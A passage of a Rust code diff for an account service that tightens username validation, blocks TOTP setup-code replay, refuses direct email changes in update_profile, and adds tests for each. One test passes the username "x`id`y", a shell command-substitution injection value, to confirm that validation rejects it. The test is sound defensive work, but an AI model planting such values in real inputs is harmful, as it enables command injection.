| 999 | + /// RFC 0037 — `verify_and_enable` consumes the matched step, so the | |
| 1000 | + /// setup code cannot be replayed as an immediate login. | |
| 1001 | + #[tokio::test] | |
| 1002 | + #[serial_test::serial(encryption_key)] | |
| 1003 | + async fn verify_and_enable_consumes_step_blocking_login_replay() { | |
| 1004 | + let db = test_db().await; | |
| 1005 | + set_test_encryption_key(); | |
| 1006 | + | |
| 1007 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 1008 | + let username = format!("t37e-{}", &unique[..12]); | |
| 1009 | + let user = UserService::create_user( | |
| 1010 | + &db, | |
| 1011 | + username.clone(), | |
| 1012 | + format!("{username}@example.com"), | |
| 1013 | + "not-a-real-hash".to_string(), | |
| 1014 | + false, | |
| 1015 | + ) | |
| 1016 | + .await | |
| 1017 | + .expect("create test user"); | |
| 1018 | + | |
| 1019 | + let setup = TotpService::setup_totp(&db, user.id, &username, "rustwarden-test") | |
| 1020 | + .await | |
| 1021 | + .expect("setup TOTP"); | |
| 1022 | + let code = current_code(&setup.secret_base32); | |
| 1023 | + | |
| 1024 | + let backup_codes = TotpService::verify_and_enable(&db, user.id, &code) | |
| 1025 | + .await | |
| 1026 | + .expect("verify_and_enable with a valid code"); | |
| 1027 | + assert_eq!(backup_codes.len(), BACKUP_CODE_COUNT); | |
| 1028 | + | |
| 1029 | + let row = TotpService::get_totp_info(&db, user.id) | |
| 1030 | + .await | |
| 1031 | + .expect("reload row") | |
| 1032 | + .expect("row exists"); | |
| 1033 | + assert!(row.enabled, "2FA must be enabled"); | |
| 1034 | + assert!( | |
| 1035 | + row.last_used_step.is_some(), | |
| 1036 | + "verify_and_enable must persist the consumed step" | |
| 1037 | + ); | |
| 1038 | + | |
| 1039 | + assert!( | |
| 1040 | + !TotpService::verify_code(&db, user.id, &code) | |
| 1041 | + .await | |
| 1042 | + .expect("immediate login replay"), | |
| 1043 | + "the setup code must not be reusable as an immediate login" | |
| 1044 | + ); | |
| 1045 | + | |
| 1046 | + cleanup_totp_user(&db, user).await; | |
| 1047 | + } | |
| 1048 | + | |
| 1049 | + /// RFC 0037 — error case 4: a `DbErr` from the conditional `UPDATE` is | |
| 1050 | + /// propagated as `Err(_)` — never a fail-open `Ok(true)`. | |
| 1051 | + #[tokio::test] | |
| 1052 | + async fn claim_totp_step_propagates_db_error_never_fails_open() { | |
| 1053 | + use sea_orm::{DatabaseBackend, DbErr, MockDatabase}; | |
| 1054 | + | |
| 1055 | + let db = MockDatabase::new(DatabaseBackend::Postgres) | |
| 1056 | + .append_exec_errors([DbErr::Custom("injected UPDATE failure".to_string())]) | |
| 1057 | + .into_connection(); | |
| 1058 | + | |
| 1059 | + let result = TotpService::claim_totp_step(&db, Uuid::new_v4(), 42).await; | |
| 1060 | + assert!( | |
| 1061 | + result.is_err(), | |
| 1062 | + "a DbErr from the CAS UPDATE must propagate, not fail open: {result:?}" | |
| 1063 | + ); | |
| 1064 | + } | |
| 540 | 1065 | } |
M
crates/rustwarden-core/src/services/user_service.rs
+630
-34
@@ -16,20 +16,60 @@ use uuid::Uuid;
| 16 | 16 | pub struct UserService; |
| 17 | 17 | |
| 18 | 18 | impl UserService { |
| 19 | - /// Create a new user with the given details | |
| 19 | + /// Create a new user with the given details. | |
| 20 | + /// | |
| 21 | + /// Enforces [`crate::types::Username::parse`] (strict): charset | |
| 22 | + /// `[a-z0-9-]`, length 3–39, no consecutive `--`, no leading/trailing `-`, | |
| 23 | + /// and reserved names rejected. This is the single validation gate for | |
| 24 | + /// every caller. | |
| 25 | + /// | |
| 26 | + /// For the bootstrap path where `"admin"` (a reserved name) must be | |
| 27 | + /// accepted, use the crate-private `create_user_allow_reserved`. | |
| 20 | 28 | /// |
| 21 | 29 | /// # Arguments |
| 22 | 30 | /// |
| 23 | 31 | /// * `db` - Database connection |
| 24 | - /// * `username` - Username (must be unique) | |
| 32 | + /// * `username` - Desired username; validated by [`crate::types::Username::parse`] | |
| 25 | 33 | /// * `email` - Email address (must be unique) |
| 26 | 34 | /// * `password_hash` - Pre-hashed password (use bcrypt) |
| 27 | 35 | /// * `must_change_password` - Whether user must change password on next login |
| 36 | + pub async fn create_user( | |
| 37 | + db: &DatabaseConnection, | |
| 38 | + username: String, | |
| 39 | + email: String, | |
| 40 | + password_hash: String, | |
| 41 | + must_change_password: bool, | |
| 42 | + ) -> Result<user::Model, AppError> { | |
| 43 | + let username = crate::types::Username::parse(&username)?.into_inner(); | |
| 44 | + Self::do_insert_user(db, username, email, password_hash, must_change_password).await | |
| 45 | + } | |
| 46 | + | |
| 47 | + /// Bootstrap-only path: create a user whose username may be reserved. | |
| 28 | 48 | /// |
| 29 | - /// # Returns | |
| 49 | + /// Identical to [`UserService::create_user`] except it calls | |
| 50 | + /// [`Username::parse_allow_reserved`], so names such as `"admin"` are | |
| 51 | + /// accepted. All charset and length rules still apply. | |
| 30 | 52 | /// |
| 31 | - /// The created user model | |
| 32 | - pub async fn create_user( | |
| 53 | + /// **Only `ensure_default_admin` should call this function.** Every | |
| 54 | + /// other caller must use [`UserService::create_user`] which enforces | |
| 55 | + /// the full reserved-name policy. | |
| 56 | + pub(crate) async fn create_user_allow_reserved( | |
| 57 | + db: &DatabaseConnection, | |
| 58 | + username: String, | |
| 59 | + email: String, | |
| 60 | + password_hash: String, | |
| 61 | + must_change_password: bool, | |
| 62 | + ) -> Result<user::Model, AppError> { | |
| 63 | + let username = crate::types::Username::parse_allow_reserved(&username)?.into_inner(); | |
| 64 | + Self::do_insert_user(db, username, email, password_hash, must_change_password).await | |
| 65 | + } | |
| 66 | + | |
| 67 | + /// Internal DB insert shared by [`create_user`] and | |
| 68 | + /// [`create_user_allow_reserved`]. | |
| 69 | + /// | |
| 70 | + /// The caller is responsible for pre-validating `username` via the | |
| 71 | + /// appropriate `Username::parse*` variant before calling this. | |
| 72 | + async fn do_insert_user( | |
| 33 | 73 | db: &DatabaseConnection, |
| 34 | 74 | username: String, |
| 35 | 75 | email: String, |
@@ -154,6 +194,34 @@ impl UserService {
| 154 | 194 | /// Update user profile |
| 155 | 195 | /// |
| 156 | 196 | /// Allows updating username and/or email with validation for uniqueness. |
| 197 | + /// | |
| 198 | + /// # Email changes are refused here (RFC 0041) | |
| 199 | + /// | |
| 200 | + /// This method **never** writes `users.email`. Passing an address that | |
| 201 | + /// differs from the stored one (exact comparison after trim) returns | |
| 202 | + /// [`AppError::Validation`] with a message pointing at | |
| 203 | + /// [`EmailChangeService`](crate::services::email_change_service::EmailChangeService): | |
| 204 | + /// the address is only written once the change is confirmed from the link | |
| 205 | + /// mailed to it, so a typo can no longer lock an account out. | |
| 206 | + /// | |
| 207 | + /// Echoing the **current** address stays a no-op — profile forms submit | |
| 208 | + /// every field — and a username-only rename is unaffected. | |
| 209 | + /// | |
| 210 | + /// The operator recourse is | |
| 211 | + /// [`EmailChangeService::admin_force_change`](crate::services::email_change_service::EmailChangeService::admin_force_change); | |
| 212 | + /// there is no dérogation branch hidden in this method. | |
| 213 | + /// | |
| 214 | + /// ```rust,ignore | |
| 215 | + /// use rustwarden_core::services::user_service::UserService; | |
| 216 | + /// | |
| 217 | + /// // A username-only rename is unaffected. | |
| 218 | + /// let user = UserService::update_profile(&db, user_id, Some("newname".into()), None).await?; | |
| 219 | + /// | |
| 220 | + /// // Changing the email is refused: use EmailChangeService::request_change. | |
| 221 | + /// let err = UserService::update_profile(&db, user_id, None, Some("new@example.com".into())) | |
| 222 | + /// .await | |
| 223 | + /// .unwrap_err(); | |
| 224 | + /// ``` | |
| 157 | 225 | pub async fn update_profile( |
| 158 | 226 | db: &DatabaseConnection, |
| 159 | 227 | user_id: Uuid, |
@@ -168,41 +236,42 @@ impl UserService {
| 168 | 236 | let mut changes = false; |
| 169 | 237 | |
| 170 | 238 | if let Some(new_username) = &username { |
| 171 | - if new_username.is_empty() || new_username.len() < 3 { | |
| 172 | - return Err(AppError::Validation( | |
| 173 | - "Username must be at least 3 characters long".to_string(), | |
| 174 | - )); | |
| 175 | - } | |
| 176 | - | |
| 177 | - if let Some(existing_user) = Self::get_user_by_username(db, new_username).await? { | |
| 178 | - if existing_user.id != user_id { | |
| 179 | - return Err(AppError::Validation(format!( | |
| 180 | - "Username '{}' already exists", | |
| 181 | - new_username | |
| 182 | - ))); | |
| 239 | + let trimmed = new_username.trim(); | |
| 240 | + // Only enforce charset + reserved on an actual rename. | |
| 241 | + // If the client echoes back the current username (including | |
| 242 | + // grandfathered out-of-charset handles), treat it as a no-op. | |
| 243 | + if trimmed != user.username.as_str() { | |
| 244 | + let parsed = crate::types::Username::parse(trimmed)?; | |
| 245 | + if let Some(existing_user) = Self::get_user_by_username(db, parsed.as_str()).await? | |
| 246 | + { | |
| 247 | + if existing_user.id != user_id { | |
| 248 | + return Err(AppError::Validation(format!( | |
| 249 | + "Username '{}' already exists", | |
| 250 | + parsed.as_str() | |
| 251 | + ))); | |
| 252 | + } | |
| 183 | 253 | } |
| 254 | + updated_user.username = Set(parsed.into_inner()); | |
| 255 | + changes = true; | |
| 184 | 256 | } |
| 185 | - | |
| 186 | - updated_user.username = Set(new_username.clone()); | |
| 187 | - changes = true; | |
| 257 | + // Same username: no-op — grandfathering preserved. | |
| 188 | 258 | } |
| 189 | 259 | |
| 260 | + // RFC 0041: `update_profile` never writes `users.email`. | |
| 190 | 261 | if let Some(new_email) = &email { |
| 191 | - if !new_email.contains('@') || !new_email.contains('.') { | |
| 192 | - return Err(AppError::Validation("Invalid email format".to_string())); | |
| 193 | - } | |
| 194 | - | |
| 195 | - if let Some(existing_user) = Self::get_user_by_email(db, new_email).await? { | |
| 196 | - if existing_user.id != user_id { | |
| 197 | - return Err(AppError::Validation(format!( | |
| 198 | - "Email '{}' already exists", | |
| 199 | - new_email | |
| 200 | - ))); | |
| 201 | - } | |
| 262 | + let trimmed = new_email.trim(); | |
| 263 | + // Echoing the current address stays a no-op: profile forms submit | |
| 264 | + // every field, so an unchanged value must not be treated as a | |
| 265 | + // change request. | |
| 266 | + if trimmed != user.email.as_str() { | |
| 267 | + return Err(AppError::Validation( | |
| 268 | + "Email changes are not handled by update_profile; call \ | |
| 269 | + EmailChangeService::request_change (POST /api/v1/auth/email-change) \ | |
| 270 | + — the address is only written once the change is confirmed from \ | |
| 271 | + the link mailed to it." | |
| 272 | + .to_string(), | |
| 273 | + )); | |
| 202 | 274 | } |
| 203 | - | |
| 204 | - updated_user.email = Set(new_email.clone()); | |
| 205 | - changes = true; | |
| 206 | 275 | } |
| 207 | 276 | |
| 208 | 277 | if !changes { |
@@ -479,3 +548,530 @@ impl UserService {
| 479 | 548 | Ok(()) |
| 480 | 549 | } |
| 481 | 550 | } |
| 551 | + | |
| 552 | +#[cfg(test)] | |
| 553 | +mod tests { | |
| 554 | + use super::*; // UserService, AppError, Uuid, Utc, user, Set/NotSet, ModelTrait, … | |
| 555 | + use crate::models::email_queue; | |
| 556 | + | |
| 557 | + async fn test_db() -> DatabaseConnection { | |
| 558 | + dotenvy::dotenv().ok(); | |
| 559 | + let url = | |
| 560 | + std::env::var("DATABASE_URL").expect("DATABASE_URL required for user_service tests"); | |
| 561 | + sea_orm::Database::connect(&url).await.unwrap() | |
| 562 | + } | |
| 563 | + | |
| 564 | + async fn dummy_hash() -> String { | |
| 565 | + PasswordService::hash_password("TestPassword1!") | |
| 566 | + .await | |
| 567 | + .unwrap() | |
| 568 | + } | |
| 569 | + | |
| 570 | + // ── create_user: invalid charset ──────────────────────────────────────── | |
| 571 | + | |
| 572 | + /// `create_user` must reject the username before any INSERT. | |
| 573 | + #[tokio::test] | |
| 574 | + async fn create_user_invalid_charset_returns_validation_error() { | |
| 575 | + let db = test_db().await; | |
| 576 | + let result = UserService::create_user( | |
| 577 | + &db, | |
| 578 | + "x`id`y".to_string(), | |
| 579 | + "backtick-test@example.com".to_string(), | |
| 580 | + "irrelevant-hash".to_string(), | |
| 581 | + false, | |
| 582 | + ) | |
| 583 | + .await; | |
| 584 | + assert!( | |
| 585 | + matches!(result, Err(AppError::Validation(_))), | |
| 586 | + "backtick username must be rejected before any DB insert" | |
| 587 | + ); | |
| 588 | + let loaded = UserService::get_user_by_username(&db, "x`id`y") | |
| 589 | + .await | |
| 590 | + .unwrap(); | |
| 591 | + assert!( | |
| 592 | + loaded.is_none(), | |
| 593 | + "no row should exist after a rejected create_user" | |
| 594 | + ); | |
| 595 | + } | |
| 596 | + | |
| 597 | + // ── create_user: happy path ────────────────────────────────────────────── | |
| 598 | + | |
| 599 | + #[tokio::test] | |
| 600 | + async fn create_user_valid_username_succeeds() { | |
| 601 | + let db = test_db().await; | |
| 602 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 603 | + let username = format!("alice-{}", &unique[..8]); | |
| 604 | + let result = UserService::create_user( | |
| 605 | + &db, | |
| 606 | + username.clone(), | |
| 607 | + format!("alice-{}@example.com", &unique[..8]), | |
| 608 | + dummy_hash().await, | |
| 609 | + false, | |
| 610 | + ) | |
| 611 | + .await; | |
| 612 | + assert!( | |
| 613 | + result.is_ok(), | |
| 614 | + "valid username must succeed: {:?}", | |
| 615 | + result.err() | |
| 616 | + ); | |
| 617 | + let created = result.unwrap(); | |
| 618 | + assert_eq!(created.username, username); | |
| 619 | + // Non-regression (RFC 0038): new accounts always start unverified. | |
| 620 | + assert!( | |
| 621 | + !created.email_verified, | |
| 622 | + "create_user must set email_verified=false" | |
| 623 | + ); | |
| 624 | + assert!( | |
| 625 | + created.email_verified_at.is_none(), | |
| 626 | + "create_user must leave email_verified_at unset" | |
| 627 | + ); | |
| 628 | + } | |
| 629 | + | |
| 630 | + // ── create_user: reserved name rejected by strict gate ────────────────── | |
| 631 | + | |
| 632 | + #[tokio::test] | |
| 633 | + async fn create_user_reserved_name_returns_validation_error() { | |
| 634 | + let db = test_db().await; | |
| 635 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 636 | + let result = UserService::create_user( | |
| 637 | + &db, | |
| 638 | + "admin".to_string(), | |
| 639 | + format!("admin-strict-{}@example.com", &unique[..8]), | |
| 640 | + "irrelevant-hash".to_string(), | |
| 641 | + false, | |
| 642 | + ) | |
| 643 | + .await; | |
| 644 | + assert!( | |
| 645 | + matches!(result, Err(AppError::Validation(_))), | |
| 646 | + "'admin' must be rejected by strict create_user" | |
| 647 | + ); | |
| 648 | + } | |
| 649 | + | |
| 650 | + // ── create_user_allow_reserved: bootstrap accepts reserved name ────────── | |
| 651 | + | |
| 652 | + #[tokio::test] | |
| 653 | + async fn create_user_allow_reserved_accepts_admin() { | |
| 654 | + let db = test_db().await; | |
| 655 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 656 | + // If an "admin" user already exists (real deploy data or a previous | |
| 657 | + // test run), skip rather than deleting it — tests must never destroy | |
| 658 | + // data they did not create (FK cascade would wipe teams, PAT, etc.). | |
| 659 | + if UserService::get_user_by_username(&db, "admin") | |
| 660 | + .await | |
| 661 | + .unwrap() | |
| 662 | + .is_some() | |
| 663 | + { | |
| 664 | + return; | |
| 665 | + } | |
| 666 | + let result = UserService::create_user_allow_reserved( | |
| 667 | + &db, | |
| 668 | + "admin".to_string(), | |
| 669 | + format!("admin-bootstrap-{}@example.com", &unique[..8]), | |
| 670 | + dummy_hash().await, | |
| 671 | + false, | |
| 672 | + ) | |
| 673 | + .await; | |
| 674 | + assert!( | |
| 675 | + result.is_ok(), | |
| 676 | + "bootstrap path must accept reserved name 'admin': {:?}", | |
| 677 | + result.err() | |
| 678 | + ); | |
| 679 | + let created = result.unwrap(); | |
| 680 | + assert_eq!(created.username, "admin"); | |
| 681 | + // Clean up only the row this test created (by the id we hold). | |
| 682 | + created.delete(&db).await.unwrap(); | |
| 683 | + } | |
| 684 | + | |
| 685 | + // ── grandfathering: pre-RFC accounts must remain usable ───────────────── | |
| 686 | + | |
| 687 | + #[tokio::test] | |
| 688 | + async fn grandfather_load_and_profile_update_work() { | |
| 689 | + let db = test_db().await; | |
| 690 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 691 | + // Use an underscore username to simulate a pre-RFC (grandfathered) account. | |
| 692 | + let legacy_username = format!("john_doe_{}", &unique[..8]); | |
| 693 | + let legacy_id = Uuid::new_v4(); | |
| 694 | + let now = Utc::now(); | |
| 695 | + | |
| 696 | + // Insert directly, bypassing Username::parse (simulates a pre-RFC row). | |
| 697 | + user::ActiveModel { | |
| 698 | + id: Set(legacy_id), | |
| 699 | + username: Set(legacy_username.clone()), | |
| 700 | + email: Set(format!("johndoe-{}@legacy.example.com", &unique[..8])), | |
| 701 | + password_hash: Set("hashed".to_string()), | |
| 702 | + must_change_password: Set(false), | |
| 703 | + last_login_at: NotSet, | |
| 704 | + last_login_ip: NotSet, | |
| 705 | + password_changed_at: NotSet, | |
| 706 | + email_verified: Set(false), | |
| 707 | + email_verified_at: NotSet, | |
| 708 | + created_at: Set(now), | |
| 709 | + updated_at: Set(now), | |
| 710 | + ap_public_key_pem: NotSet, | |
| 711 | + ap_private_key_pem: NotSet, | |
| 712 | + ap_discoverable: NotSet, | |
| 713 | + } | |
| 714 | + .insert(&db) | |
| 715 | + .await | |
| 716 | + .unwrap(); | |
| 717 | + | |
| 718 | + // Grandfathered account must still be loadable. | |
| 719 | + let loaded = UserService::get_user_by_username(&db, &legacy_username) | |
| 720 | + .await | |
| 721 | + .unwrap(); | |
| 722 | + assert!(loaded.is_some(), "grandfathered user must be loadable"); | |
| 723 | + | |
| 724 | + // RFC 0041: echoing the stored address is a no-op and must not touch | |
| 725 | + // or re-validate the username. | |
| 726 | + let legacy_email = format!("johndoe-{}@legacy.example.com", &unique[..8]); | |
| 727 | + let updated = UserService::update_profile(&db, legacy_id, None, Some(legacy_email.clone())) | |
| 728 | + .await | |
| 729 | + .unwrap(); | |
| 730 | + assert_eq!( | |
| 731 | + updated.username, legacy_username, | |
| 732 | + "username must be unchanged after an email echo" | |
| 733 | + ); | |
| 734 | + assert_eq!(updated.email, legacy_email); | |
| 735 | + | |
| 736 | + // Echoing the same out-of-charset username (form POST round-trip) is a no-op. | |
| 737 | + let result = | |
| 738 | + UserService::update_profile(&db, legacy_id, Some(legacy_username.clone()), None).await; | |
| 739 | + assert!( | |
| 740 | + result.is_ok(), | |
| 741 | + "echoing same out-of-charset username must succeed (grandfathering no-op)" | |
| 742 | + ); | |
| 743 | + assert_eq!( | |
| 744 | + result.unwrap().username, | |
| 745 | + legacy_username, | |
| 746 | + "username must still be unchanged after echo no-op" | |
| 747 | + ); | |
| 748 | + } | |
| 749 | + | |
| 750 | + // ── rename validation ──────────────────────────────────────────────────── | |
| 751 | + | |
| 752 | + #[tokio::test] | |
| 753 | + async fn rename_invalid_or_reserved_is_rejected() { | |
| 754 | + let db = test_db().await; | |
| 755 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 756 | + let username = format!("renametest-{}", &unique[..8]); | |
| 757 | + let email = format!("renametest-{}@example.com", &unique[..8]); | |
| 758 | + let user_model = UserService::create_user( | |
| 759 | + &db, | |
| 760 | + username.clone(), | |
| 761 | + email.clone(), | |
| 762 | + dummy_hash().await, | |
| 763 | + false, | |
| 764 | + ) | |
| 765 | + .await | |
| 766 | + .unwrap(); | |
| 767 | + | |
| 768 | + // RFC 0038: mark verified so the username-only rename below can prove | |
| 769 | + // it never touches the verification flags. | |
| 770 | + let mut active: user::ActiveModel = user_model.clone().into(); | |
| 771 | + active.email_verified = Set(true); | |
| 772 | + active.email_verified_at = Set(Some(Utc::now())); | |
| 773 | + active.update(&db).await.unwrap(); | |
| 774 | + | |
| 775 | + // Uppercase → Validation error. | |
| 776 | + assert!( | |
| 777 | + matches!( | |
| 778 | + UserService::update_profile(&db, user_model.id, Some("Not-Valid".into()), None) | |
| 779 | + .await, | |
| 780 | + Err(AppError::Validation(_)) | |
| 781 | + ), | |
| 782 | + "uppercase username must be rejected on rename" | |
| 783 | + ); | |
| 784 | + | |
| 785 | + // Reserved name → Validation error. | |
| 786 | + assert!( | |
| 787 | + matches!( | |
| 788 | + UserService::update_profile(&db, user_model.id, Some("api".into()), None).await, | |
| 789 | + Err(AppError::Validation(_)) | |
| 790 | + ), | |
| 791 | + "reserved name 'api' must be rejected on rename" | |
| 792 | + ); | |
| 793 | + | |
| 794 | + // Valid rename → accepted. | |
| 795 | + let new_name = format!("renamed-{}", &unique[..8]); | |
| 796 | + let renamed = UserService::update_profile(&db, user_model.id, Some(new_name.clone()), None) | |
| 797 | + .await | |
| 798 | + .unwrap(); | |
| 799 | + assert_eq!(renamed.username, new_name, "valid rename must succeed"); | |
| 800 | + | |
| 801 | + // RFC 0038: a username-only rename must leave the email and its | |
| 802 | + // verification flags intact, and must not queue any email. | |
| 803 | + assert_eq!(renamed.email, email, "email must be unchanged after rename"); | |
| 804 | + assert!( | |
| 805 | + renamed.email_verified, | |
| 806 | + "username-only rename must not clear email_verified" | |
| 807 | + ); | |
| 808 | + assert!( | |
| 809 | + renamed.email_verified_at.is_some(), | |
| 810 | + "username-only rename must not clear email_verified_at" | |
| 811 | + ); | |
| 812 | + assert!( | |
| 813 | + queue_entries_for(&db, &email).await.is_empty(), | |
| 814 | + "username-only rename must not enqueue any email from the service" | |
| 815 | + ); | |
| 816 | + } | |
| 817 | + | |
| 818 | + // ── RFC 0041: `update_profile` never writes `users.email` ─────────────── | |
| 819 | + | |
| 820 | + /// Return every `email_queue` row addressed to `to_email`. | |
| 821 | + async fn queue_entries_for(db: &DatabaseConnection, to_email: &str) -> Vec<email_queue::Model> { | |
| 822 | + email_queue::Entity::find() | |
| 823 | + .filter(email_queue::Column::ToEmail.eq(to_email)) | |
| 824 | + .all(db) | |
| 825 | + .await | |
| 826 | + .unwrap() | |
| 827 | + } | |
| 828 | + | |
| 829 | + /// Create a user with a unique name/address and mark it email-verified. | |
| 830 | + async fn create_verified_user(db: &DatabaseConnection, prefix: &str) -> (user::Model, String) { | |
| 831 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 832 | + let email = format!("{}-{}@example.com", prefix, &unique[..8]); | |
| 833 | + let created = UserService::create_user( | |
| 834 | + db, | |
| 835 | + format!("{}-{}", prefix, &unique[..8]), | |
| 836 | + email.clone(), | |
| 837 | + dummy_hash().await, | |
| 838 | + false, | |
| 839 | + ) | |
| 840 | + .await | |
| 841 | + .unwrap(); | |
| 842 | + | |
| 843 | + // Simulate a clicked validation link. | |
| 844 | + let mut active: user::ActiveModel = created.clone().into(); | |
| 845 | + active.email_verified = Set(true); | |
| 846 | + active.email_verified_at = Set(Some(Utc::now())); | |
| 847 | + let verified = active.update(db).await.unwrap(); | |
| 848 | + (verified, email) | |
| 849 | + } | |
| 850 | + | |
| 851 | + /// Assert an `update_profile` result is the RFC 0041 refusal, and return | |
| 852 | + /// nothing: the message must name the service that owns the flow so a | |
| 853 | + /// consumer hitting it knows where to go. | |
| 854 | + fn assert_refused_towards_email_change_service(result: Result<user::Model, AppError>) { | |
| 855 | + match result { | |
| 856 | + Err(AppError::Validation(msg)) => assert!( | |
| 857 | + msg.contains("EmailChangeService"), | |
| 858 | + "refusal must point at EmailChangeService, got: {msg}" | |
| 859 | + ), | |
| 860 | + other => panic!("expected AppError::Validation, got {other:?}"), | |
| 861 | + } | |
| 862 | + } | |
| 863 | + | |
| 864 | + /// A real email change is refused: nothing is written, nothing is queued, | |
| 865 | + /// and the verification flags stay untouched. | |
| 866 | + #[tokio::test] | |
| 867 | + async fn email_change_is_refused_and_points_at_email_change_service() { | |
| 868 | + let db = test_db().await; | |
| 869 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 870 | + let (user_model, old_email) = create_verified_user(&db, "emailchg").await; | |
| 871 | + let new_email = format!("emailchg-new-{}@example.com", &unique[..8]); | |
| 872 | + | |
| 873 | + let result = | |
| 874 | + UserService::update_profile(&db, user_model.id, None, Some(new_email.clone())).await; | |
| 875 | + assert_refused_towards_email_change_service(result); | |
| 876 | + | |
| 877 | + let reloaded = UserService::get_user_by_id(&db, user_model.id) | |
| 878 | + .await | |
| 879 | + .unwrap() | |
| 880 | + .unwrap(); | |
| 881 | + assert_eq!(reloaded.email, old_email, "email must be unchanged"); | |
| 882 | + assert!( | |
| 883 | + reloaded.email_verified, | |
| 884 | + "a refused change must not un-verify the account" | |
| 885 | + ); | |
| 886 | + assert!(reloaded.email_verified_at.is_some()); | |
| 887 | + assert!( | |
| 888 | + queue_entries_for(&db, &new_email).await.is_empty(), | |
| 889 | + "no email must be queued by update_profile" | |
| 890 | + ); | |
| 891 | + assert!( | |
| 892 | + queue_entries_for(&db, &old_email).await.is_empty(), | |
| 893 | + "no alert must be queued by update_profile" | |
| 894 | + ); | |
| 895 | + | |
| 896 | + reloaded.delete(&db).await.unwrap(); | |
| 897 | + } | |
| 898 | + | |
| 899 | + /// An administrator caller gets the exact same refusal: there is no | |
| 900 | + /// dérogation branch inside `update_profile`, only `admin_force_change`. | |
| 901 | + #[tokio::test] | |
| 902 | + async fn email_change_is_refused_for_admin_accounts_too() { | |
| 903 | + let db = test_db().await; | |
| 904 | + let unique = Uuid::new_v4().simple().to_string(); | |
| 905 | + let (admin_model, admin_email) = create_verified_user(&db, "emailadm").await; | |
| 906 | + | |
| 907 | + // Promote the account to the `admin` role when the RBAC seed is | |
| 908 | + // present: the strongest caller the framework knows about. | |
| 909 | + if let Ok(Some(admin_role)) = | |
| 910 | + crate::services::role_service::RoleService::get_role_by_name(&db, "admin").await | |
| 911 | + { | |
| 912 | + UserService::assign_role_to_user(&db, admin_model.id, admin_role.id) | |
| 913 | + .await | |
| 914 | + .unwrap(); | |
| 915 | + } | |
| 916 | + | |
| 917 | + let target = format!("emailadm-new-{}@example.com", &unique[..8]); | |
| 918 | + let result = UserService::update_profile(&db, admin_model.id, None, Some(target)).await; | |
| 919 | + assert_refused_towards_email_change_service(result); | |
| 920 | + | |
| 921 | + let reloaded = UserService::get_user_by_id(&db, admin_model.id) | |
| 922 | + .await | |
| 923 | + .unwrap() | |
| 924 | + .unwrap(); | |
| 925 | + assert_eq!(reloaded.email, admin_email, "email must be unchanged"); | |
| 926 | + | |
| 927 | + reloaded.delete(&db).await.unwrap(); | |
| 928 | + } | |
| 929 | + | |
| 930 | + /// An invalid address goes through the same branch: refused, no write. | |
| 931 | + #[tokio::test] | |
| 932 | + async fn email_change_invalid_format_rejected_without_side_effects() { | |
| 933 | + let db = test_db().await; | |
| 934 | + let (user_model, email) = create_verified_user(&db, "emailfmt").await; | |
| 935 | + | |
| 936 | + let result = | |
| 937 | + UserService::update_profile(&db, user_model.id, None, Some("not-an-email".into())) | |
| 938 | + .await; | |
| 939 | + assert_refused_towards_email_change_service(result); | |
| 940 | + | |
| 941 | + let reloaded = UserService::get_user_by_id(&db, user_model.id) | |
| 942 | + .await | |
| 943 | + .unwrap() | |
| 944 | + .unwrap(); | |
| 945 | + assert_eq!(reloaded.email, email, "email must be unchanged"); | |
| 946 | + assert!(reloaded.email_verified, "flags must be untouched"); | |
| 947 | + assert!(reloaded.email_verified_at.is_some()); | |
| 948 | + assert!( | |
| 949 | + queue_entries_for(&db, "not-an-email").await.is_empty(), | |
| 950 | + "no email must be queued on a rejected update" | |
| 951 | + ); | |
| 952 | + | |
| 953 | + reloaded.delete(&db).await.unwrap(); | |
| 954 | + } | |
| 955 | + | |
| 956 | + /// An address already owned by another account is refused without | |
| 957 | + /// un-verifying the caller — uniqueness is re-checked by | |
| 958 | + /// `EmailChangeService` at request *and* confirmation time. | |
| 959 | + #[tokio::test] | |
| 960 | + async fn email_change_to_taken_address_rejected_without_unverify() { | |
| 961 | + let db = test_db().await; | |
| 962 | + let (owner, taken_email) = create_verified_user(&db, "emailowner").await; | |
| 963 | + let (caller, caller_email) = create_verified_user(&db, "emailcaller").await; | |
| 964 | + | |
| 965 | + let result = | |
| 966 | + UserService::update_profile(&db, caller.id, None, Some(taken_email.clone())).await; | |
| 967 | + assert_refused_towards_email_change_service(result); | |
| 968 | + | |
| 969 | + let reloaded = UserService::get_user_by_id(&db, caller.id) | |
| 970 | + .await | |
| 971 | + .unwrap() | |
| 972 | + .unwrap(); | |
| 973 | + assert_eq!( | |
| 974 | + reloaded.email, caller_email, | |
| 975 | + "caller email must be unchanged" | |
| 976 | + ); | |
| 977 | + assert!( | |
| 978 | + reloaded.email_verified, | |
| 979 | + "caller must not be un-verified by a rejected change" | |
| 980 | + ); | |
| 981 | + assert!(reloaded.email_verified_at.is_some()); | |
| 982 | + assert!( | |
| 983 | + queue_entries_for(&db, &taken_email).await.is_empty(), | |
| 984 | + "no email must be queued on a rejected update" | |
| 985 | + ); | |
| 986 | + | |
| 987 | + reloaded.delete(&db).await.unwrap(); | |
| 988 | + owner.delete(&db).await.unwrap(); | |
| 989 | + } | |
| 990 | + | |
| 991 | + /// Echoing the current address (exact match after trim) stays a no-op: | |
| 992 | + /// profile forms submit every field, so an unchanged value must not be | |
| 993 | + /// mistaken for a change request. | |
| 994 | + #[tokio::test] | |
| 995 | + async fn email_echo_same_address_is_noop() { | |
| 996 | + let db = test_db().await; | |
| 997 | + let (user_model, email) = create_verified_user(&db, "emailnoop").await; | |
| 998 | + | |
| 999 | + // Exact echo. | |
| 1000 | + let echoed = UserService::update_profile(&db, user_model.id, None, Some(email.clone())) | |
| 1001 | + .await | |
| 1002 | + .unwrap(); | |
| 1003 | + assert_eq!(echoed.email, email); | |
| 1004 | + assert!( | |
| 1005 | + echoed.email_verified, | |
| 1006 | + "echoing the same email must keep email_verified=true" | |
| 1007 | + ); | |
| 1008 | + assert!(echoed.email_verified_at.is_some()); | |
| 1009 | + | |
| 1010 | + // Whitespace-padded echo: trimmed comparison → still a no-op. | |
| 1011 | + let padded = | |
| 1012 | + UserService::update_profile(&db, user_model.id, None, Some(format!(" {} ", email))) | |
| 1013 | + .await | |
